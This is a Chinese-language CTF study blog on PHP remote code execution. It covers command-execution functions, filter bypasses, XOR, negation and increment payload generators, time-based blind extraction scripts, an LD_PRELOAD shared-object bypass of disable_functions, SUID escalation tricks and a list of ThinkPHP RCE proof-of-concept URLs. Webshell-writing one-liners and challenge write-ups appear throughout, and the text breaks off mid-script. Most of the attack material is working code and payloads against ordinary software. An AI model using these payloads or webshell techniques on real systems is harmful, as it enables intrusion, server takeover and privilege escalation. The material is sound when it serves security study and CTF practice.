RCE学习

从最近的xyctf中,最大的感受就是自己的rce基础并不牢固,所以马上来恶补一下

漏洞成因

php和其他语言有很多能够执行系统命令或执行其他php代码的函数,因为开发者的使用不当,使得用户能够控制传递给执行命令的函数的参数,那么就用可能被用来执行恶意命令,接下来的学习以ctf中最常用的php来学习

利用方法

命令注入

执行系统命令的函数和方法

执行的结果都是以字符串返回,执行失败返回空,区别是能不能直接回显

函数 描述
system($cmd) 可以直接回显
shell_exec($cmd) 不直接回显,配合echo等才能看到结果
passthru($cmd) 可直接回显
exec($cmd) 不能直接回显,配合echo等才能看到结果
`$cmd`(shell_exec的变种) 系统命令用反引号包裹,也能执行,不能直接回显

linux也通过echo ,输入输出重定向,来写入一句话木马

代码注入

利用一些php函数来执行系统命令

1.eval

rce中最常用的函数,将php代码以字符串形式传入,显示执行结果,代码结束要加;

2.preg_replace()

preg_replace('正则规则','要替换的字符','目标字符')

正则规则中使用\e修饰符,php会被后面要替换的字符当作php代码执行, 如:

php7的匹配正则模式不能由get传入,但php5可以

3.create_function()

如图,create_function()可以创建动态函数,$args是参数,$code具体动态函数的要执行的代码,用eval执行,所以完全可以拿来写一句话

php 复制代码
<?PHP $func=create_function('',$_POST['cmd']);$func();?>

4.call_user_func

!

5.call_user_func_array

用法同call_user_func,只是后面传的参数要是数组

6.array_map

array_map( c a l l b a c k , callback, callback,array),对传入的array数组的每个元素,应用传入的$callback回调函数

7.array_filter

array_filter( a r r a y , array, array,callback),对 a r r a y 数组用 array数组用 array数组用callback函数过滤掉一些元素,用法与array_map相近,只是参数顺序相反

8.popen

PHP 复制代码
#利用方式
$handle=popen('ls','r');echo fread($handle,2096); 

9.proc_open

用popen的升级版,用起来比popen稍微复杂,将命令作为单独的进程执行,并控制其输入、输出和错误管道

php 复制代码
#原始
// 要执行的命令
$test = "whoami";
// 用于设置进程管道的数组
$array = array(
    array("pipe", "r"), // 标准输入管道
    array("pipe", "w"), // 标准输出管道
    array("pipe", "w")  // 标准错误输出管道
);
// 执行命令并创建进程
$fp = proc_open($test, $array, $pipes);
// 从标准输出管道中读取数据并打印
echo stream_get_contents($pipes[1]);
// 关闭进程
proc_close($fp);
#压缩去掉换行
$test="whoami";$array=array(array("pipe","r"),array("pipe","w"),array("pipe","w"));$fp=proc_open($test,$array,$pipes);echo stream_get_contents($pipes[1]);proc_close($fp);

命令注入绕过

题目的重点都是如何绕过过滤

过滤命令关键字

其他命令平替

1.使用其他查看文件的命令绕过,比如过滤cat

常见平替:

tac,less,more,nl,head,tail

还有其他命令可以读取文件:

命令 描述
vim ,vi /flag 编辑器 后跟文件,也能显示出内容
od -c 或 -a /flag 读取二进制数据,加-a或-c,就会输出常见字符
sort,unqiue /flag 排序去重命令都会显示文件内容
file -f ,date -f , dig -f /flag 利用报错读出文件内容
sh /flag 2>%261 也是利用报错,但是要把错误输出重定向到标准输出流,如果get传输要url编码&
strings /flag strings 读取二进制文件中的可打印字符
rev /flag 逆序输出
paste /flag paste用于合并文件内容,只有一个文件也可以
diff /flag /etc/passwd diff用于比较文本内容,会显示各个文本的内容,需要一个已知文件

单用base64 /flag,也可以得到flag

date 是查看时间的命令,但是date -f 可以利用它的报错信息读取文件,

dig -f 也可以

!

但是在php的system中,date-f读不出来,但是 dig -f可以

过滤ls

dir在ubuntu也可以扫描目录,但在其他环境可能报 command not found

无效转义

在命令的字符中添加' " \ $@,不影响命令的执行,单双引号要加两个

·

编码

1.十六进制编码

用xxd工具,xxd有两个选项,-r可以把十六进制数据转为二进制,-p则是以 postscript plain hexdump 风格(易于阅读和打印)输出数据,配合管道符传递给shell,就可以执行命令

echo 636174202f666c6167 | xxd -r -p|bash

或者用shell的内联执行

shell 复制代码
$(printf '\x63\x61\x74\x20\x2f\x66\x6c\x61\x67') 

2.八进制编码

$(printf '\143\141\164\040\057\146\154\141\147')
$(echo '\143\141\164\040\057\146\154\141\147')

3.base64编码,32也行,配合管道符

shell 复制代码
echo "Y2F0IC9mbGFn"|base64 -d|bash
echo "MNQXIIBPMZWGCZY="|base32 -d|bash 
echo 'ZWNobyAnPD89QGV2YWwoJF9QT1NUW2NtZF0pPz4nID4gc2hlbGwucGhw'|base64 -d|bash #写入一句话

变量引用

把要执行的命令都每个单词从,拆开几个部分用一个变量定义,使用时拼接在一起

shell 复制代码
a=l;b=s;c=/;$a$b $c ->ls /
a=ca;b=t;c=/fl;d=ag;$a$b $c$d ->cat /flag

很明显这个方法;不能被过滤

过滤关键文件名

使用通配符

具体例子使用可上网搜索

  • *,匹配一个或多个字符 ,如:cat /f*

  • ?,匹配一个字符,如:cat /fla?

  • [...] ,匹配指定范围内的字符,如:cat /[e-g][k-m]?[e-h] 或/[e-g][k-m][0-b][e-h],[@-z]匹配所有字母,有时a被过滤可用

过滤空格

${IFS}

${IFS}绕过,${IFS}在linux的环境变量中代表空格 如cat${IFS}/flag

重定向

如cat</flag

!

%09

%09就是制表符,url解码后传给php就和空格差不多,如:cat%09/flag

过滤/

逻辑符号拼接命令

有一些题目是代码本身会执行一些正常的命令(如ping),这时我们可以利用逻辑符号在后面拼接我们注入的命令

linux命令中,逻辑符号的作用如下:

cmd1 & cmd2:两个命令同时在后台执行,前面的是否执行成功不影响后续命令执行

cmd1 && cmd2:按顺序先后执行命令,输出结果,前面的失败后面也无法执行

cmd1 | cmd2:| 是管道符,用于把前面命令的结果作为变量输入到后面的命令,如果后面命令用不到,且正常执行不报错

那就正常执行后面的命令,如:

前面的执行失败不影响后面执行

cmd1 || cmd2:前面的命令执行失败才会执行后面的命令,否则后面的命令不执行

cmd1;cmd2:顺序执行命令

过滤了/,就可以用命令连接符号,多次cd跳转到根目录执行操作

shell 复制代码
cd ..;cd ..;cd ..;ls
或
cd ..%26%26cd ..%26%26cd ..%26%26ls

截取环境变量

没有过滤 $ {}时可以使用

$HOME 环境变量 就是/用户名,截取第一个就是/

$0可以表示bash

代码注入相关绕过

过滤system

如果是代码注入且过滤了system,可以尝试:

其他函数

使用其他可以执行命令的函数如:passthru,shell_exec,但是没有回显,配合echo,print,var_dump使用

或者使用php内置的扫描目录和读取文件的函数。如:

扫描目录:scandir
读取文件:file_get_contents , readfile , file ,highlight_file , show_source,
读取文件最后两个函数不用var_dump,其余都要

拼接执行

如:

(s.y.s.t.e.m)("whoami");
(s.y.s.t.e.m)('whoami');

php7才可以

编码

可以把php的函数名用八进制或十六进制编码,php7可以,动态执行函数

php 复制代码
"\x73\x79\x73\x74\x65\x6d"("\x6c\x73"); -> system('ls')
"\163\171\163\164\145\155"("\154\163"); -> system('ls')

进制字符串要用双引号包裹,双引号中如果有变量,会解析变量,而单引号中不管是否有变量,都当作字符串

或者hex2bin

php 复制代码
hex2bin('73797374656d')(hex2bin('636174202f666c6167')); #system('cat /flag')

过滤引号

可以用参数逃逸,这个方法也能用在过滤很多关键字的情况,如

?a=system($_GET[b]);&b=cat /flag
?a=$_GET[b]($_GET[c]);&b=system&c=cat /flag

使用反引号,如

?a=echo `ls`;

无数字字母

如果题目过滤了常规的数字和字母,就要使用其他一些运算方法,在执行php代码前先进行一定运算,

把一些不可见字符的二进制数据,通过一些数学运算,算出字母和数字,再执行

异或

使用大佬的两个配套脚本,如:

php 复制代码
<?php
    // 打开一个文件用于写入,如果文件不存在则创建该文件
    $myfile=fopen("xor_rce.txt","w");
    // 初始化一个空字符串,用于存储生成的结果
    $contents="";
    // 循环遍历 0 到 255 的所有可能的字节值
    for($i=0;$i<256;$i++){
        for($j=0;$j<256;$j++){
            // 如果字节值小于 16,则将其转换为两位十六进制数,以便于 URL 编码
            if($i<16){
                $hex_i='0'.dechex($i);
            }
            else{
                $hex_i=dechex($i);
            }
            if($j<16){
                $hex_j='0'.dechex($j);
            }
            else{
                $hex_j=dechex($j);
            }
            // 定义用于匹配不允许的字符的正则表达式
            $preg='/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';    // 根据题目给的正则表达式修改即可
            // 使用 URL 解码将十六进制转换为ascii码,然后检查是否存在不允许的字符
            if(preg_match($preg,hex2bin($hex_i))||preg_match($preg,hex2bin($hex_j))){
                echo ""; // 如果存在不允许的字符,则不做任何操作
            }
            else{
                // 
                $a='%'.$hex_i;
                $b='%'.$hex_j;
                $c=(urldecode($a)^urldecode($b));
                // 如果异或结果是可见字符,则将其的url编码,添加到结果字符串中
                if(ord($c)>=32&ord($c)<=126){
                    $contents=$contents.$c." ".$a." ".$b."\n";
                }
            }
        }
    }
    // 将结果字符串写入到文件中
    fwrite($myfile,$contents);
    // 关闭文件句柄
    fclose($myfile);
?>

两个ascii字符,分别0-255,进行异或运算,如果结果是可见字符且不符合设定的正则,添加这两个字符的url编码到文件字符中,

这样一来,就可以把可见字符,用两个不可见字符的异或来表示,如

当然,大佬还写了利用这个文件,生成payload的脚本

python 复制代码
import requests
import urllib
from sys import *
import os

def action(arg):
    s1=""
    s2=""
    for i in arg:
        f=open("xor_rce.txt","r")
        while True:
            t=f.readline()
            if t=="":
                break
            if t[0]==i:
                # print(i)
                s1+=t[2:5]
                s2+=t[6:9]
                break
        f.close()
    output="(\""+s1+"\"^\""+s2+"\")"
    return(output)

while True:
    param=action(input("\n[+] your function: "))+action(input("[+] your command: "))+";"
    print('\n',param)

运行结果:

所以payload即为

?a=("%0c%05%0c%08%05%0d"^"%7f%7c%7f%7c%60%60")("%0c%0c%00%00"^"%60%7f%20%2f");

取反

利用取反运算,这个可以不用大佬脚本,自己随便弄一下都行,如:

php 复制代码
<?php
$php_code='system';
$cmd='ls /';
$arr=array($php_code,$cmd);
$res="(~".urlencode(~$php_code).")(~".urlencode(~$cmd).");";
echo $res;
#结果
%8F%97%8F%96%91%99%90
//phpinfo()->payload:
?a=(~%8F%97%8F%96%91%99%90)();
//system('ls /');->payload:
?a=(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);

如果是post传参,用hackbar传过去url解码有问题,用bp就可以

自增

在 PHP 中,对一个字母型变量执行自增运算时,会将该字母转换为其 ASCII 码值,执行自增运算后再将结果转换回字母。具体来说,字母型变量的自增运算实际上是对其 ASCII 码值加一,然后将结果转换回字母。如:

我们可以通过不断的自增来获得想要的字符,eval可以执行php代码,把自增的代码传进去,得到想要的字符后,最后构造出能rce的样子

但是这是无数字字母,php代码中也不能含有字母,所以我们的自增起点要稍微变一下,如:

将空数组和字符串拼接时,php会把空数组转为字符串Array再去拼接 ,取出下标为0的字符,就是A,这里不能直接用0,而是用一个表达式''=='$',值为假,就会返回0,从而取到了字母A

然后开始自增,获得其他字母,得到$_GET$_POST,大佬脚本如下:

$_GET

php 复制代码
<?php
$_=[].'';//Array
$_=$_[''=='$'];//A
$_++;//B
$_++;//C
$_++;//D
$_++;//E
$__=$_;//E
$_++;//F
$_++;//G
$___=$_;//G
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;//T
$_=$___.$__.$_;//GET
$_='_'.$_;//_GET
var_dump($_);
#$res="$_=[].'';$_=$_[''=='$'];$_++;$_++;$_++;$_++;$__=$_;$_++;$_++;$___=$_;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_=$___.$__.$_;$_='_'.$_;$$_[_]($$_[__]);"
?>

代码中 经 过两次自增和拼接,变为 ' _经过两次自增和拼接,变为` 经过两次自增和拼接,变为'_GET,所以最后可以利用的代码变为 G E T [ ] ( GET[]( GET[](GET[__]);,,__`传入payload即可

要把原始代码去掉换行,再url编码一下,最终payload

%24_%3D%5B%5D.%27%27%3B%24_%3D%24_%5B%27%27%3D%3D%27%24%27%5D%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24__%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24___%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D%24___.%24__.%24_%3B%24_%3D%27_%27.%24_%3B%24%24_%5B_%5D%28%24%24_%5B__%5D%29%3B&_=system&__=ls /

无字母

其实就是利用八进制编码,这样构造的payload没有字母,由于我本地php测试总是失败,用一道题目来测试

源码:

php 复制代码
<?php
highlight_file(__FILE__);
function waf($cmd){
    $white_list = ['0','1','2','3','4','5','6','7','8','9','\\','\'','$','<']; 
    $cmd_char = str_split($cmd);
    foreach($cmd_char as $char){
        if (!in_array($char, $white_list)){
            die("really ez?");
        }
    }
    return $cmd;
}
$cmd=waf($_GET["cmd"]);
system($cmd);

这题只允许白名单,白名单里只有数字,和一些特殊的字符,$,\,',很明显就是要八进制编码

shell 复制代码
$'\154\163' #ls

但是这样执行的命令无法加参数,要读取flag需要用到<,类似cat /flag

shell 复制代码
$'\143\141\164'<$'\057\146\154\141\147' 

这方面的详细知识可以看这篇大佬的文章:https://xz.aliyun.com/t/12242

无回显

如果用exec,这类没有回显的函数,可以考虑写一句话或者 ,把命令结果重定向或写入文件中

有写入权限

写入一句话木马,用到重定向符号:>

?a=echo%20%27<?%3Deval($_POST[cmd])?>%27%20>shell.php

tee 命令结果写入文件

要用到管道符:|

shell 复制代码
cat /flag | tee a

然后再去访问a即可,

无写入权限

可以尝试bash时间盲注 需要到:|

awk截取第一行内容:cat /flag | awk ==1

cut 截取第一列内容cat /flag | awk NR==1 | cut -c 1

不过一般题目中flag文件一般都只有一行,awk 可以省略,当然如果flag.php就不能省略了

获取文件的文本长度,行数

shell 复制代码
awk 'NR==1 { print length($0); exit }' /flag  #获取第一行的文本长度
awk 'END {print NR}' /flag        #获取行数

结合 if ,sleep,实现时间延时

?a=if [ `cat /flag | awk NR==1 | cut -c 1` = 'F' ];then sleep 2;fi

做了足够的铺垫后,就应该写脚本了,主要语句:

shell 复制代码
if [ `28= ls /| awk 'END{print NR}'` ];then sleep 2;fi #猜文件数量
if [ `ls / | awk 'NR==1 {print}'` = 1 ]; then sleep 2; fi  #猜每个文件的文件名长度
if [ `ls / | awk NR==1 | cut -c 1` = "b" ]; then sleep 2;fi   #猜根目录下的文件目录名
if [ `cat /flag_is_he3re|cut -c 1`=F ]; then sleep 2;fi   #猜字符

完整脚本

python 复制代码
mport requests
import string
import time
import urllib.parse as up
str_list = string.ascii_letters + string.digits + '[{}.@-_=]'
url='http://192.168.184.200/rce/play.php?a='

def condition(url):
    start=time.time()
    res=requests.get(url,timeout=3)
    end=time.time()
    if int(end-start)>=2:
        return True
    return False
def check_flag(filename):
    #发现可能的flag文件
    checks=['f','l','a','g']
    for che in checks:
        if che not in filename:
            return False
    return True
def try_flag(catalog='/'):
    #获取有多少个文件
    file_nums=0
    for i in range(1,50):
        get_nums_cmd="if [ `ls {} | awk 'END{{print NR}}')` = {} ]; then sleep 2; fi".format(catalog,i)
        print(get_nums_cmd)
        if condition(url+up.quote(get_nums_cmd)):
                    file_nums=i
                    print(f'有{file_nums}个文件')
                    break
    filenames_list=[]
    run=''
    tar=''
    #获取文件名长度,然后猜文件名
    for i in range(1,file_nums+1):
        len=0
        name=''
        for k in range(1,50):
            get_filelen_cmd='if [ `ls {} | awk \'NR=={} {{print length}}\'` = {} ]; then sleep 2; fi'.format(catalog,i,k)
            if condition(url+up.quote(get_filelen_cmd)):
                    len=k
                    print(f'第{i}个文件名字长度为{len}')
                    break
        for j in range(1,len+1):
            for k in str_list:
                get_filename_cmd='if [ `ls {} | awk NR=={} | cut -c {}` = "{}" ]; then sleep 2;fi'.format(catalog,i,j,k)
                if condition(url+up.quote(get_filename_cmd)):
                    name+=k
                    print(name)
                    break
        filenames_list.append(name)
        if check_flag(name):
            run=input(f'疑似发现了flag文件,{name}是否继续?c->继续,其他放弃')
            if run =='c':
               continue
            else:
               tar=name
               break
    print(f"确认发现了flag文件:{tar},开始查找")
    flag_len=0
    flag=''
    #发现了flag之后,就猜flag
    for i in range(1,70):
        get_flaglen_cmd='if [ `cat {}{}| awk \'{{print length}}\'` = {} ]; then sleep 2;fi'.format(catalog,tar,i)
        if condition(url+up.quote(get_flaglen_cmd)):
            flag_len=i
            print(f"{tar}文件字符数为{i}")
    for i in range(1,flag_len+1):
        for k in str_list:
            get_flag_cmd='if [ `cat {}{}|cut -c {}` = {} ]; then sleep 2;fi'.format(catalog,tar,i,k)
            if condition(url+up.quote(get_flag_cmd)):
                flag+=k
                print(flag)
try_flag()

还可以cp复制或者mv移动,把flag搞到网站目录,再访问得flag

disable_function限制

这种情况是有了webshell后,但是无法正常执行命令

当php.ini把很多能执行命令的函数都设置进了disable_function,此时如果直接执行,是执行不了的,如

一种思路就是找漏网之鱼,看能不能利用没被ban的函数,另一种就是利用LD_PRELOAD环境变量加载恶意so文件,这里主要学习后者

这个主要也是利用大佬的脚本,https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD,原理的讲解也在里面,很详细,这里主要记录自己的对这个方法的一些浅薄理解

当运行可执行文件时,操作系统的动态链接器会负责加载并链接 需要的共享对象文件(.so文件),找到要用到的系统底层函数,解析符号引用,加载到内存中,使得程序能够正常执行。

而linux系统环境变量$LD_PRELOAD可以设置优先加载的so文件,如果能设置为我们控制的so文件,其中包含了我们自己实现的恶意同名底层函数,linux要执行该函数时,会去so文件寻找,而我们的so文件由于$LD_PRELOAD被优先加载,其中就有被重写过的同名函数,于是跳过了正常的系统函数,执行我们的恶意函数,这个被利用的函数通常是getuid():不需要传入变量,返回值简单

就算有了恶意so文件,但是怎么触发getuid()呢,常规的执行系统命令的函数被ban,需要寻找别的方法启动新的进程调用,大佬找到是mail()函数,mail()会调用 /usr/sbin/sendmail,它会调用getuid()

但是sendmail是一个邮件传输代理工具,不是自带的,目标环境不一定安装或者有可能被禁用,所以大佬说劫持getuid并不是最好的选择,但是这个劫持的思路是我值得学习的

大佬想到了另一种方式,不拘泥于具体的底层方法,想办法让恶意so在被加载时就能rce,代码如下:

c 复制代码
#define _GNU_SOURCE

#include <stdlib.h>
#include <stdio.h>
#include <string.h>


extern char** environ;

__attribute__ ((__constructor__)) void preload (void)
{
    // get command line options and arg
    const char* cmdline = getenv("EVIL_CMDLINE");

    // unset environment variable LD_PRELOAD.
    // unsetenv("LD_PRELOAD") no effect on some 
    // distribution (e.g., centos), I need crafty trick.
    int i;
    for (i = 0; environ[i]; ++i) {
            if (strstr(environ[i], "LD_PRELOAD")) {
                    environ[i][0] = '\0';
            }
    }
    // executive command
    system(cmdline);
}

__attribute__((constructor)) 是 C 和 C++ 语言中的一个编译器扩展,用于指定一个函数作为程序启动时的构造函数,即在程序运行之前(在main()之前)自动执行该函数。若它出现在共享对象中时,那么一旦共享对象被系统加载,该函数就会被执行

函数会从环境变量中读取命令,然后执行,php恰好有个方法putenv()可以加入自定义的环境变量

大佬的php利用脚本

php 复制代码
<?php
    echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";

    $cmd = $_GET["cmd"];
    $out_path = $_GET["outpath"];
    $evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
    echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";

    putenv("EVIL_CMDLINE=" . $evil_cmdline);

    $so_path = $_GET["sopath"];
    putenv("LD_PRELOAD=" . $so_path);

    mail("", "", "", "");

    echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>"; 

    unlink($out_path);
?>

代码中,通过putenv加入EVIL_CMDLINE环境变量为我们rce代码,用于so文件执行,设置LD_PRELOAD变量为我们上传的so文件路径,我们要在目标php文件中包含这个php,并传入cmd--->命令,outpath--->命令结果保存文件路径 ,sopath--->so文件路径,php执行mail函数时,sendmail子程序就会优先链接我们的恶意so,从而执行命令

在我的实验环境中,蚁剑连接?a=$func=create_function('',$_POST['cmd']);$func();,连接后,果然不能执行命令,

尝试把php,so文件上传到靶机的有上传权限的目录,这里我选择/tmp,

上传成功,在目标php中,传如下payload:

?a=include('/tmp/db_bypass.php');&cmd=cat /flag &outpath=/tmp/a.txt&sopath=/tmp/bypass_disablefunc_x64.so

实验成功

其他知识点

suid提权

参考大佬文章学习:https://tttang.com/archive/1793/

SUID 是 Unix/Linux 系统中的一种特殊权限设置,全称为 Set User ID。当一个可执行文件拥有 SUID 权限时,当普通用户执行该文件时,该文件的有效用户 ID 会被临时设置为文件所有者的用户 ID,而不是执行者的用户 ID。

简单来说,SUID 权限允许普通用户以文件所有者的权限来执行该文件,即使普通用户本身没有对应的权限

suid权限就是执行权限的特殊设置,例如

shell 复制代码
chmod u+s filename  #增加suid权限
chmod u-s filename  #去除suid权限

这里把flag文件设为 700,现在无法直接查看

这时要利用有suid root 权限的二进制文件,执行这些文件,可以以文件所有者即root的权限运行,利用这些查看flag

shell 复制代码
find / -user root -perm -4000 -print 2>/dev/null
 find / 从根目录开始查找
-user root 属于root用户
-perm -4000  设置了suid权限
-print  打印匹配到文件路径
2>/dev/null   把错误输出重定向到/dev/null  /dev/null不会显示任何输入的信息,加上就相当于不打印报错信息 
不加的话会有很多 permission denied 的报错,影响观察

正常来说,常用的命令一般都没有suid权限,题目如果考察这个知识点,也会给某个命令加上,我这里给cp ,find加上了,

通过cp读取flag

shell 复制代码
cp /flag /dev/stdout
/dev/stdout 标准输出,把文件复制到这里就相当于在终端输出该文件的内容

通过find执行系统命令

/usr/bin/find /flag -exec cat /flag \;

所以稍微总结一下,如果有suid权限,可以执行shell或读取flag的二进制文件,前提是拿到了一个shell

nmap(2.0-5.21)

nmap --interactive

之后执行:
nmap> !sh
sh-3.2# whoami
root

//这是真正意义上的提权,进入到了root用户的shell

time

shell 复制代码
time cat /flag # time 后跟命令可执行

vim

vim ,vi,命令模式也可以执行系统命令

less more

less,more读取较大文件时,会进去翻页模式,可以用!shell执行shell命令

more执行命令不会退出翻页,less会

awk

awk可以用来执行系统命令

shell 复制代码
awk 'BEGIN { system("ls -l") }'

dmesg

dmesg -H 以易读格式输出内核环形缓冲区,也是可以!+shell执行命令

env

env用于输出环境变量,后面也是可以跟命令来执行,如env ls

flock

是Linux 的文件锁命令,也能用来执行系统命令:flock -u / whoami

ionice nice

前者设置程序的IO调度与优先级,后者修改程序的优先级,都用可以用来执行命令,

ionice whoami nice whoami

strace

strace -o /dev/null ls

其他命令,如date,paste,等用来平替cat的命令有suid权限,利用它们读取flag

thinkphp rce利用

主要是要知道对应的thinkphp版本,然后使用对应的poc

网上找的一些poc

thinkphp 5.0.22
1、http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.username
2、http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.password
3、http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
4、http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

thinkphp 5
5、http://127.0.0.1/tp5/public/?s=index/\think\View/display&content=%22%3C?%3E%3C?php%20phpinfo();?%3E&data=1

thinkphp 5.0.21
6、http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
7、http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

thinkphp 5.1.*
8、http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=phpinfo&data=1
9、http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=system&data=cmd
10、http://url/to/thinkphp5.1.29/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
11、http://url/to/thinkphp5.1.29/?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E
12、http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
13、http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd
14、http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
15、http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd


thinkphp 5.0.23(完整版)debug模式
32、(post)public/index.php (data)_method=__construct&filter[]=system&server[REQUEST_METHOD]=touch%20/tmp/xxx

thinkphp 5.0.23(完整版)
33、(post)public/index.php?s=captcha (data) _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls -al
# filter[]是要执行的php函数, server[REQUEST_METHOD]是给该函数的参数
thhinkphp 5.0.10(完整版)
34、(post)public/index.php?s=index/index/index (data)s=whoami&_method=__construct&method&filter[]=system

要知道版本,可以通过输入?s=1,产生报错,通过报错信息得到版本信息

题目实战

[NewStar2023]So Baby RCE

源码:

php 复制代码
<?php
error_reporting(0);
if(isset($_GET["cmd"])){
    if(preg_match('/et|echo|cat|tac|base|sh|more|less|tail|vi|head|nl|env|fl|\||;|\^|\'|\]|"|<|>|`|\/| |\\\\|\*/i',$_GET["cmd"])){
       echo "Don't Hack Me";
    }else{
        system($_GET["cmd"]);
    }
}else{
    show_source(__FILE__);
}

过滤了很多命令,主要是过滤了目录分割符/,没有过滤cd,..,那就用cd 和&&跳转到根目录,然后ls,用${IFS}绕过空格,payload如下:

shell 复制代码
cd${IFS}..%26%26${IFS}cd${IFS}..${IFS}%26%26${IFS}cd${IFS}..${IFS}%26%26${IFS}cd${IFS}..${IFS}%26%26${IFS}ls

过滤了fl,可以用f???来绕过,也可以添加$@来绕过关键字,这里我用paste查看文件吧,payload:

shell 复制代码
cd${IFS}..%26%26${IFS}cd${IFS}..${IFS}%26%26${IFS}cd${IFS}..${IFS}%26%26${IFS}cd${IFS}..${IFS}%26%26${IFS}paste${IFS}f????????????????

查阅网上资料时还发现可以curl 下载 一句话木马,不过需要公网的vps

极客大挑战 RCE me

题目源码:

php 复制代码
<?php
error_reporting(0);
if(isset($_GET['code'])){
            $code=$_GET['code'];
                    if(strlen($code)>40){
                                        die("This is too Long.");
                                                }
                    if(preg_match("/[A-Za-z0-9]+/",$code)){
                                        die("NO.");
                                                }
                    @eval($code);
}
else{
            highlight_file(__FILE__);
}

// ?>

很明显是无数字字母rce,可以异或或取反,这是使用异或

?code=("%0c%08%0c%09%0e%06%0f"^"%7c%60%7c%60%60%60%60")(); #phpinfo()

本来想直接用system查看,但是失败,感觉可能是被禁了,再来看phpinfo

发现禁用了很多系统函数,assert没被禁,那就assert(eval($_POST[a]));,不能直接eval(eval($_POST[a]))

(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9E%A2%D6);

连接成功,由于disable_function的限制,命令用不了,传so文件和对应的php上去,跟实验步骤一样即可

code继续assert(eval($_POST[a]))

?code=(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9E%A2%D6);;&cmd=ls / &outpath=/tmp/a.txt&sopath=/tmp/bypass_disablefunc_x64.so
post:
a=include('/tmp/db_bypass.php')
# code: assert(include('/tmp/db_bypass.php'))

发现有readflag程序,直接运行

NewStar2023 R!!!C!!!E!!!

源码

php 复制代码
<?php
highlight_file(__FILE__);
class minipop{
    public $code;
    public $qwejaskdjnlka;
    public function __toString()
    {
        if(!preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|tee|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $this->code)){
            exec($this->code);
        }
        return "alright";
    }
    public function __destruct()
    {
        echo $this->qwejaskdjnlka;
    }
}
if(isset($_POST['payload'])){
    //wanna try?
    unserialize($_POST['payload']);
} 

是exec无回显,那就要考虑写入或者盲注了

尝试了一下,tee写入,发现是可以的,单引号绕过关键字过滤即可,exp:

php 复制代码
<?php
class minipop{
    public $code="ls /|te''e /var/www/html/a";
    public $qwejaskdjnlka;
    public function __toString()
    {
    }
    public function __destruct()
    {
    }
}
$a=new minipop();
$a->qwejaskdjnlka=$a;
echo serialize($a);
# O:7:"minipop":2:{s:4:"code";s:26:"ls /|te''e /var/www/html/a";s:13:"qwejaskdjnlka";r:1;}

发现了flag,直接查看

后面看了官方wp,发现预期解是bash盲注,于是我尝试写脚本 ,过滤了{} ,原来的脚本用不了,把命令改为用sed 实现,三剑客看来真的要再去复习一下

脚本:

python 复制代码
import requests
import string
import time
import urllib.parse as up
str_list = string.ascii_letters + string.digits + '{[.@-_=]}'
url='http://b70d0e66-be37-4788-80fd-49d791990778.node5.buuoj.cn:81/'


def condition(url,data):
    time.sleep(0.5)
    start=time.time()
    res=requests.post(url,timeout=3,data=data)
    end=time.time()
    if int(end-start)>=2:
        return True
    return False

def try_flag(catalog='/'):
    #查找含有flag的flag文件名长度
    flag_len=14
    base_payload = 'O:7:"minipop":2:{{s:4:"code";N;s:13:"qwejaskdjnlka";O:7:"minipop":2:{{s:4:"code";s:{0}:"{1}";s:13:"qwejaskdjnlka";N;}}}}'
    data={
       'payload':''
    }
    flag_name=''
    flag=''
    #获取长度,题目过滤了.*,只好匹配flag整体
    for i in range(1,30):
        get_len_cmd='if [ `ls {} | sed -n \'/flag/p\' | cut -c 1-|wc -m` = {} ];then sleep 2;fi'.format(catalog,i)
        get_len_payload=base_payload.format((len(get_len_cmd)),get_len_cmd)
        data['payload']=get_len_payload
        if condition(url,data):
            flag_len=i
            print(f"长度为{i}")
    for i in range(1,flag_len):
